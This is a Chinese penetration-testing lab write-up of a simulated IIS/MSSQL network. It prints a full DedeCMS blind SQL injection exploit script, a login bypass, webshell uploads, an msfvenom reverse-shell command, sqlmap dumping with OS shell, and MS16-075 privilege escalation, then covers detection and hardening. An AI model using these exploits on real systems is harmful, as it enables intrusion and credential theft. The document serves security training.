網絡安全滲透測試實驗


網絡安全滲透測試實驗

一、環境搭建

網絡拓撲圖

image-20211219110645078

  • Web服務器一:
    • 10.10.10.129
    • 192.168.126.128
  • 數據庫服務器:
    • 10.10.10.136
    • 10.10.1.134
  • Kali攻擊機:
    • 192.168.129.129

1、Web服務器一:

①基本信息

  • 操作系統:Windows Server 2008 R2
  • 網站管理:護衛神主機大師
  • webserver:IIS
  • 服務器安全狗
    • image-20211219183528360

②提供DNS服務

image-20211213222217334

image-20211213222227452

③開啟了3個web站點

image-20211219110104150

④設置kali攻擊機的DNS服務器,模擬真實滲透測試環境。

kali的dns服務器地址也要設置為192.168.126.128

image-20211213221944282

image-20211213222048281

確保可以ping通

image-20211213222147955

2、數據庫服務器:

①基本信息

  • 操作系統:Windows Server 2008 r2
  • 數據庫軟件:Microsoft SQL Server
  • image-20211219110819324

二、信息收集

1、Kali攻擊機對同一網段主機發現

①kali的IP地址

image-20211213205636415

  • 可知kali所在的網段為:192.168.126.0

②使用Nmap對同一網段進行主機發現掃描

image-20211213205755501

③掃描結果

同一網段下存在另外一台主機為192.168.126.128

2、使用Nmap對目標主機進行端口掃描

①nmap 目標主機Ip

image-20211213210159838

掃描結果可知開放了上述端口。

②使用nmap查看目標端口的詳細信息

image-20211213210604842

掃描結果:

image-20211213211430912

nmap -sC -A -p 49154,21,6588,135,80,3389,53,999,49122 192.168.126.128 -oA targer1-port
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-13 08:04 EST
Nmap scan report for 192.168.126.128
Host is up (0.00053s latency).

PORT      STATE  SERVICE            VERSION
21/tcp    open   ftp                Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open   domain             Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
80/tcp    open   http               Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
135/tcp   open   msrpc              Microsoft Windows RPC
999/tcp   open   http               Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Microsoft-IIS/7.5
|_http-title: phpMyAdmin
3389/tcp  open   ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WIN-KALKEMT3JMA
| Not valid before: 2021-12-12T08:10:45
|_Not valid after:  2022-06-13T08:10:45
|_ssl-date: 2021-12-13T13:05:41+00:00; 0s from scanner time.
6588/tcp  open   http               Microsoft IIS httpd 7.5
| http-cookie-flags: 
|   /: 
|     ASPSESSIONIDCQSQCSAB: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: \xBB\xA4\xCE\xC0\xC9\xF1\xA1\xA4\xD6\xF7\xBB\xFA\xB4\xF3\xCA\xA6 V3.5.1 - \xC7\xB0\xCC\xA8\xB5\xC7\xC2\xBC
49122/tcp closed unknown
49154/tcp open   msrpc              Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2:sp1

Host script results:
|_nbstat: NetBIOS name: WIN-KALKEMT3JMA, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:47:0d:dc (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.60 seconds

  • 結果可以看到各個端口的詳細信息,版本信息等等。

3、通過瀏覽器訪問具體的端口應用

①80-http端口---IIS7 WebServer

image-20211213211216888

②999-http端口 phpmyadmin

image-20211213211240129

③6588-http端口 逐級大師---登錄面板

image-20211213211305048

4、通過wfuzz進行子域名收集

①命令

通過kali自帶的字典進行爆破

image-20211213222451678

②結果

image-20211213222704642

子域名:

http://www.cc123.com
http://ww2.cc123.com
http://new.cc123.com

③依次驗證子域名

www.cc123.com

image-20211213223851071

ww2.cc123.com

image-20211213223915832

new.cc123.com

image-20211213223940190

三、Web服務器一滲透測試

1、new.cc123.com滲透測試

在信息收集中,子域名發現了這個子域名,我們訪問進去之后,發現是個cms,logo還是織夢,那么必然是大名鼎鼎漏洞百出的dedecms了。

①查看dedecms版本信息

image-20211213224218403

②百度,看有無歷史版本漏洞

image-20211213224353563

百度一搜,出現很多這個版本的漏洞。

③測試dedecms默認后台目錄dede,和會員登錄目錄member

image-20211213224452957

可以訪問,說明管理員沒有修改后台路徑。

image-20211213225432445

說明會員中心路徑也沒有修改,根據網上的帖子,這個版本是存在會員中心注入漏洞的。我們先隨便注冊一個會員用戶

image-20211213225554162

注冊成功

image-20211213225645928

④利用用網上公開的exp進行攻擊

需要放在同一個目錄之下

image-20211213225901799

cookie信息

image-20211213230441457

刷新頁面找到cookie

PHPSESSID=fo6no56q6puprgch48q8jc3956; DedeUserID=5; DedeUserID__ckMd5=af34931e1d9c8fe4; DedeLoginTime=1639408657; DedeLoginTime__ckMd5=671d6a9517cf59f8
exp
import sys,os
import urllib2
import time
opener = urllib2.build_opener()

def getCookes():
    line = open('cookies.txt','r')
    c = line.readline()
    line.close()
    return c

cookie=getCookes()
opener.addheaders.append(('Cookie',cookie))
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'

def exploite(target):
    password = ""
    for i in range(1,21):
        for p in payloads:
            s1 = "%s" %(i)
            s2 = "%s" %(ord(p))
            s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
            start_time = time.time()
            try:
                req = urllib2.Request(s)
                req_data=opener.open(req,timeout=10)
                now = time.strftime('%H:%M:%S',time.localtime(time.time()))
                if time.time() - start_time > 4.0:
                    password = password+p
                    print "["+str(now)+"]: "+s1+" -> "+password
            except urllib2.URLError,e:
                print e;
    return password






def myhelp():
    print "\n+------------------------------+"
    print "|  Dedecms 20150618 member sqli|"
    print "|  mOon  www.moonsec.com       |"
    print "|  MTEAM:moon@moonsec.com      |"
    print "+------------------------------+\n"

def main():
    if len(sys.argv)< 2:
        myhelp()
        sys.exit()
    now = time.strftime('%H:%M:%S',time.localtime(time.time()))
    print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.."
    print "password is %s" % (exploite(sys.argv[1]))

if __name__ == '__main__':
    main()
運行exp

image-20211213232155496

注意:

在運行exp之前,需要在系統設置,添加一個分類。

image-20211213232234890

運行exp結果

image-20211213232424611

得到了管理員賬戶的密文密碼:

812df726be884ddcfc41

在線md5解密

https://www.somd5.com/

image-20211213233724549

管理員密碼:admin7788

⑤使用管理員密碼登錄后台管理界面

image-20211213234002560

通過文件管理器上傳一句話木馬

image-20211213234202074

image-20211213234411316

上傳webshell

image-20211213234456652

通過蟻劍連接WebShell

image-20211213234649508

管理web網站的目錄

image-20211213235046740

目前為止的結果

截止目前,我們獲取了網站的shell,也就是webshell,但是我么只可以對網站進行一些操作,可以獲取到的文件也較少。我們無法控制這台主機。如果想要獲取注解的權限,還需要繼續提權。

2、提權

①web目錄信息——可執行aspx文件

在我們獲取到Webshell查看目錄的時候,發現有一個文件夾是aspnet_client,說明網站支持asp的腳本。asp的權限功能要比php強大一些。

image-20211213235429688

那么我們下一步上傳一個asp馬。

②上傳asp馬

image-20211213235639817

由於asp馬過大,會在附件中給出。

③通過瀏覽器訪問asp大馬執行命令

image-20211213235927831

輸入admin密碼,登錄webshell。

image-20211214000016909

可以執行cmd命令

image-20211214000204879

既然可以執行cmd命令,那接下來的思路我們就可以在metasploit中生成一個shell,上傳到受害主機上面,從而進行下一步操作。

④MetaSploit生成shell

反彈到本機

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.129 lport=12345 -f exe >s.exe

image-20211214000827156

image-20211214000846485

⑤上傳shell到web服務器

image-20211214001143460

發現此目錄不可寫

image-20211214001210753

上傳一個檢測可寫目錄的腳本文件wt.asp

image-20211214001300207

瀏覽器訪問此腳本文件

image-20211214001410002

發現目錄可寫

c:\windows\debug\WIA\

將shell程序上傳到這個目錄

image-20211214001521955

木馬程序上傳成功。

⑥msf監聽反彈shell的端口

msfconsole

image-20211214001633137

選擇exploit/multi/handler模塊

image-20211214001721624

設置反彈監聽的payload並執行

image-20211214001936909

發現端口沒弄對,重新設置一下,記得加l

image-20211214002102893

⑦通過aspx大馬,執行cmd命令,運行木馬程序

image-20211214002252752

運行之后,查看kali之中的會話session

image-20211214002331835

發現已經連接上了目標服務器,查看一下ip地址:

image-20211214002409880

詳細信息:

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:47:0d:dc
MTU          : 1500
IPv4 Address : 192.168.126.128
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::8c46:83d6:93f0:b8ac
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:7e80
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 13
============
Name         : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:47:0d:e6
MTU          : 1500
IPv4 Address : 10.10.10.129
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::90a:300d:f93e:7c89
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 14
============
Name         : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a0a:a81
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::5efe:a9fe:b8ac
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

查看一下當前的權限

image-20211214002525445

⑧嘗試提權

查找是否存在提權可以利用的點
background
use post/multi/recon/local_exploit_suggester

image-20211214002826500

由於msf6在掃描的時候可能出了一些Bug,沒有出來結果,通過另外一台老版本的kali,上面有msf5,重新上傳木馬,掃描一下,發現有以下漏洞可以利用。

可以查找到如下結果:

image-20211214093116157

嘗試利用ms16_075_reflection_juicy進行提權

image-20211214094710904

設置對應的端口和會話session

image-20211214094759256

獲得系統權限

image-20211214094816801

獲取到flag

image-20211214095908013

注意,aspx大馬查看HwsHostMaster目錄的時候沒有權限,所以只能提權到系統權限之后訪問。

image-20211214095946730

3、ww2.cc123.com滲透測試

①目錄掃描

訪問網站,f12看一下響應頭,發現是.net的后端。

image-20211214100439553

這個網站全是偽靜態頁面,沒有什么可測試的功能點。

使用目錄掃描工具掃描一下網站目錄,這里就隨便找了一個御劍。

image-20211214102523807

訪問一下,有個后台的登錄地址。

image-20211214102820469

②測試是否存在弱口令或者SQL注入漏洞

弱口令測試了admin,admin,123456,111111等,沒試出來,放棄了,測一下SQL注入漏洞。

輸入admin' 123456

image-20211214110438548

結果為

image-20211214110450767

點擊確定之后,又跳轉到了登錄頁面,並且驗證碼也沒有改變.

試着后面加注釋,注釋掉密碼

image-20211214110540566

結果成功登進來了后台

image-20211214110619766

猜測其后台登錄驗證的SQL語句

select * from users username = 'admin'--' and  password = '123456';

③尋找是否存在單點漏洞(注入漏洞)

打開burpsuite,看一下后台的功能點,是否存在有?id等url的功能點,這樣可以測試sql注入漏洞。

image-20211214111739027

發現在新聞咨詢這里,點進去資訊列表中的某一個咨詢之后,會以get方式提交?id字段,可能存在注入。

image-20211214111913209

將此數據包的請求復制下來,放到sqlmap里跑一下,看看是否存在sql注入漏洞。

GET /admin/newsadd.aspx?id=537&pid=27 HTTP/1.1
Host: ww2.cc123.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Referer: http://ww2.cc123.com/admin/newslist.aspx?pid=27
Cookie: ASP.NET_SessionId=2i0ppqscy1sa4jw3ug4lhq1v; CheckCode=0LF0; The Cool Site=lao=1
Upgrade-Insecure-Requests: 1

④kali中sqlmap測試

image-20211214112314058

sqlmap測試

這里猜測,asp.net后端連接的數據庫是mssql(microsoft sql server)

sqlmap -r sql.txt --dbms mssql -v 1 --batch

image-20211214112757918

image-20211214113046425

可知這里id字段存在注入。

爆庫
sqlmap -r sql.txt --dbms mssql -v 1 --batch --dbs

image-20211214113224055

查看當前的db和user
sqlmap -r sql.txt --dbms mssql -v 1 --batch --current-db --current-user

image-20211214113341480

爆表
sqlmap -r sql.txt --dbms mssql -v 1 -D grcms_data --tables

image-20211214114739688

查看admin表中的所有數據
sqlmap -r sql.txt --dbms mssql -v 1 -D grcms_data -T admin --dump

image-20211214115008648

查看是否可以獲取系統權限
sqlmap -r sql.txt --dbms mssql -v 1 --batch --os-shell

image-20211214113513341

⑤通過系統shell執行命令

ipconfig

image-20211214113613572

分析

我們在信息收集的時候,是從192.168.126.128進入到了web服務器,獲取到了系統權限之后,ipconfig

image-20211214113920643

可以得知,這台服務器還有一個網卡,ip地址是10.10.10.129,而此時我們獲得的數據庫的os-shell,看到的IP地址是10.10.1.128,與10.10.10.129不在同一個網段,說明了這是一個數據庫服務器,整個網站的架構是站庫分離的。這樣可以使得數據庫更加安全。

四、網絡靶場攻擊檢測

1、部署了服務器安全狗

image-20211219183632247

  • 具有配置網絡防火牆殺毒,檢測后門腳本和程序,並告警的功能。

2、攻擊行為告警

①文件上傳漏洞shell.php檢測

在web服務器滲透測試的時候,上傳了php木馬,然后安全狗迅速告警,給管理員的郵箱發送了告警郵件。

image-20211219183732580

②安全狗日志記錄___反彈shell程序分析

image-20211219183843423

可以看到,在日志記錄當中,存在有我們用來反彈shell所上傳的s.exe后門木馬程序,這里的提示是TCP連接,遠程連接到攻擊機192.168.128.129(kali)的12345端口,所以通過審查日志也可以判斷出是否存在后門程序。

③安全狗日志記錄___掃描與webshell程序分析

image-20211219184209081

可以看到,通過掃描端口的攻擊和webshell的惡意腳本文件也被檢測了出來。

3、可視化的安全管理一站式系統

①基礎界面

image-20211219184353840

web服務器管理員在服務器安裝安全狗之后,無需頻繁的到服務器去審查,在可視化的安全管理系統當中,即可看到當前服務器的安全狀態。

②威脅分析模塊

image-20211219184500006

攻擊Dedecms的過程

image-20211219184536296

通過這個模塊可以直觀的看到攻擊的流程,隨后即可對服務器進行安全加固。

4、安全加固---網站安全狗

之前我們配置了服務器安全狗,更多的是針對與主機整體的安全。我們還可以安裝網站安全狗,加固我們網站的安全。

image-20211219184950437

網站安全狗具有以下功能

image-20211219185025136

通過防范一句話后門可以抵御黑客的攻擊,但是黑客也可以通過一些手段進行繞過。

在真實的紅藍對抗環境中,還是需要不斷的去加固我們的服務器和網站,通過各種方法來達到信息系統的安全目標!

五、滲透測試過程中所用的到漏洞介紹

1、DedeCMS注入漏洞

dedecms20150618的漏洞分析

①名詞解釋

  • php gpc

    magic_quotes_gpc函數在php中的作用是判斷解析用戶提示的數據,如包括有:post、get、cookie過來的數據增加轉義字符“\”,以確保這些數據不會引起程序,特別是數據庫語句因為特殊字符引起的污染而出現致命的錯誤

    在magic_quotes_gpc=On的情況下,如果輸入的數據有

    單引號(’)、雙引號(”)、反斜線()與 NUL(NULL 字符)等字符都會被加上反斜線。這些轉義是必須的,如果這個選項為off,那么我們就必須調用addslashes這個函數來為字符串增加轉義。

②漏洞成因概述

  • 由於 dedecms 使用偽全局變量原因,可導致用戶構造任意的 sql 語句,造成注入。

    漏洞利用流程:

    • 利用_FILE 傳遞數組
    • 繞過 dedecms 的 sql 注入檢測機制
    • 進行注入

③漏洞細節

  • 完整的注入語句

    http://192.168.110.135//dedefull/uploads/member/mtypes.php?
    dopost=save&
    _FILES[mtypename][name]=.xxxx&
    _FILES[mtypename][type]=xxxxx&
    _FILES[mtypename][tmp_name][1' and &#39;.``.mtypeid or if(now() like sysdate(),SLEEP(if(ORD(MID(( SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 ),1,1)) like 54,5,0)),0)%23fuck]=1&
    _FILES[mtypename][size]=.xxxx
    

    關鍵理解的點:

    • 為什么用_FILE 傳數組
    • 為什么注入語句寫在 tmp_name 后
    • 為什么注入語句中有.``.mtypeid
    • 如何繞過 dede 的防注入
  • 變量的傳遞過程

    • mtypes.php 文件是一個缺陷文件,只要通過把 $mtypename 構造成數組,並且在把數組的 key 定義為 sql 注入語句,那么便可逃逸全局 GPC。
    foreach ($mtypename as $id => $name)
    {
        $name = HtmlReplace($name);
        $query = "UPDATE #@__mtypes SET mtypename='$name' WHERE mtypeid='$id' AND mid='$cfg_ml->M_ID'";
        $dsql->ExecuteNoneQuery($query);
    }
    

    該文件的最后部分為缺陷部分,$id 和 $name 都在查詢語句中,但是全局過濾未對數組的key進行過濾,導致 $id 內可以帶任何字符,所以我們在$id中構造語句。

    由於 dedecms 是一個偽全局的 cms,我們需要把 $mtypename 覆蓋出來,那么為什么用_FILE 傳輸組呢,整個 cms 在變量初始化的過程中,在 uploadsafe.inc.php 中,會預處理_FILE 傳入的值,但是這段代碼有問題。

    foreach($FILES as $_key=>$_value)
    {
        foreach($keyarr as $k)
        {
            if(!isset($_FILES[$_key][$k]))
            {
                exit('Request Error!');
            }
        }
    if( preg_match('#^(cfg|GLOBALS)#', $_key) )
    {
        exit('Request var not allow for uploadsafe!');
    }
    $$_key = $_FILES[$_key]['tmp_name'];
    ${$_key.'_name'} = $_FILES[$_key]['name'];
    ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);
    ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
    

    可以在倒數第四行看到一處變量覆蓋,取 $_key 作為 key,$_FILES[$_key][‘tmp_name’] 作為 value。

image-20211219185405601

image-20211219185410409

2、ms016-075漏洞(CVE漏洞編號:CVE-2016-3225)

  • ms16-075漏洞簡介4
    • Windows SMB 服務器特權提升漏洞(CVE漏洞編號:CVE-2016-3225)當攻擊者轉發適用於在同一計算機上運行的其他服務的身份驗證請求時,Microsoft 服務器消息塊 (SMB) 中存在特權提升漏洞,成功利用此漏洞的攻擊者可以使用提升的特權執行任意代碼。若要利用此漏洞,攻擊者首先必須登錄系統。然后,攻擊者可以運行一個為利用此漏洞而經特殊設計的應用程序,從而控制受影響的系統。
  • 名詞解釋
    • msf6
      • 在滲透過程中,msf漏洞利用神器是不可或缺的。它是一個免費的、可下載的框架,通過它可以很容易地獲取、開發並對計算機軟件漏洞實施攻擊。它本身附帶數百個已知軟件漏洞的專業級漏洞攻擊工具。是信息收集、漏洞掃描、權限提升、內網滲透等集成的工具。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM